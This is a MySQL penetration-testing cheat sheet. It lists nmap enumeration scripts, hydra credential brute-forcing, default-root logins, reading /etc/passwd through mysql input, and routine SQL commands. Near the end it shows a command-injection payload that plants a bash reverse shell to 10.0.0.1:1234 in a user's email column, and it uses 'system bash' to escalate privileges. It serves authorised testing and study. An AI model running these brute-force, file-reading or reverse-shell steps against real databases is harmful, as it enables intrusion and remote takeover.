MySQL Pentesting

Last modified: Tue Nov 21 2023 00:00:00 GMT+0000 (Coordinated Universal Time)

Database Privilege Escalation

It is a relational database management system. A default port is 3306.

Enumeration

nmap --script mysql-info -p 3306 <target-ip>
nmap --script mysql-enum -p 3306 <target-ip>
nmap --script mysql-brute -p 3306 <target-ip>
nmap --script mysql-databases -p 3306 <target-ip>
nmap --script mysql-users -p 3306 <target-ip>
nmap --script mysql-* -p 3306 <target-ip>

Brute Force Credentials

hydra -l username -P passwords.txt <target-ip> mysql
hydra -L usernames.txt -p password <target-ip> mysql

Configuration Files

cat /etc/mysql/my.cnf
cat /etc/mysql/mysql.conf.d/mysqld.cnf

Connect

mysql command can be replaced with mariadb .

Local

# No password
mysql -u username

# With Password
mysql -u username -p

# Specity database name
mysql -u username -p database_name

# Execute commands
mysql -u username -p database_name -e "show databases;"
echo '<password>' | mysql -u username -p database_name -e "show databases;"

# Execute commands via a file
echo 'show tables;' > example.sql
mysql -u username --password='password' database_name -v < example.sql

# Read arbitrary files
mysql -u username --password='password' database_name -v < /etc/passwd

Remote

mysql -u username -p -h <target-ip> -P 3306

# Without password (remove -p)
mysql -u username -h <target-ip> -P 3306

# Specify database (-D)
mysql -u username -p -h <target-ip> -D database_name

# Default credential (username: root, no password)
mysql -u root -h <target-ip> -P 3306

Commands

Execute from File

After connecting MySQL, you can execute SQL commands from a .sql file.
Note that we need to change the current directory to the directory in which the .sql file is located.

mysql> source example.sql

Basic Commands

Belows are basic commands.

# List mysql users
mysql> select user from mysql.user;
# List privileges of each user
mysql> select user,select_priv,insert_priv,update_priv,delete_priv,create_priv from mysql.user;

# Display databases
mysql> show databases;

# Switch to the database
mysql> use db_name;

# Display tables in the current database
mysql> show tables;
# Display tables and table type
mysql> show full tables;
# Display tables in the database
mysql> show tables from <database>;
# Display tables which names start with 'user'
mysql> show tables like 'user%';
# Display tables which names start with 'user' in the database
mysql> show tables from <database> like 'user%';

# Display columns in a given table
mysql> show columns from <table>;

# Display everything in the table
mysql> select * from <table>;

# Create new table
mysql> create table table_name(column_name column_type);
mysql> create table table_name(user_id int, user_name varchar(40));

# Create an user-defined function
mysql> create function func_name(param1, param2) returns datatype;
mysql> create function new_fund(age integer) returns integer;

# Use a function
mysql> select func_name(param1, param2);

# Insert new record to a given table
mysql> insert into <table> values(value1, value2);

# Update data in a given table
mysql> update <table> set <column>='<value>';
mysql> update <table> set <column1>='<value1>',<column2>='<value2>';
# e.g.
mysql> update users set role='admin' where username='john';

# Delete a record
mysql> delete from <table> where <column> = <value>;
# e.g.
mysql> delete from users where id = 2;

Command Injection

We can inject the OS command to column values e.g. email address.
Depending on the situation, we may be able to execute arbitrary command.

# Update existing user email to execute reverse shell
mysql> update exampledb.users SET email='admin@shell|| bash -c "bash -i >& /dev/tcp/10.0.0.1/1234 0>&1" &' where name like 'admin%';

System Commands

We can run the system command in MySQL shell as below. Depending on the situation, we may be able to escalate privileges.

mysql> system whoami
mysql> system bash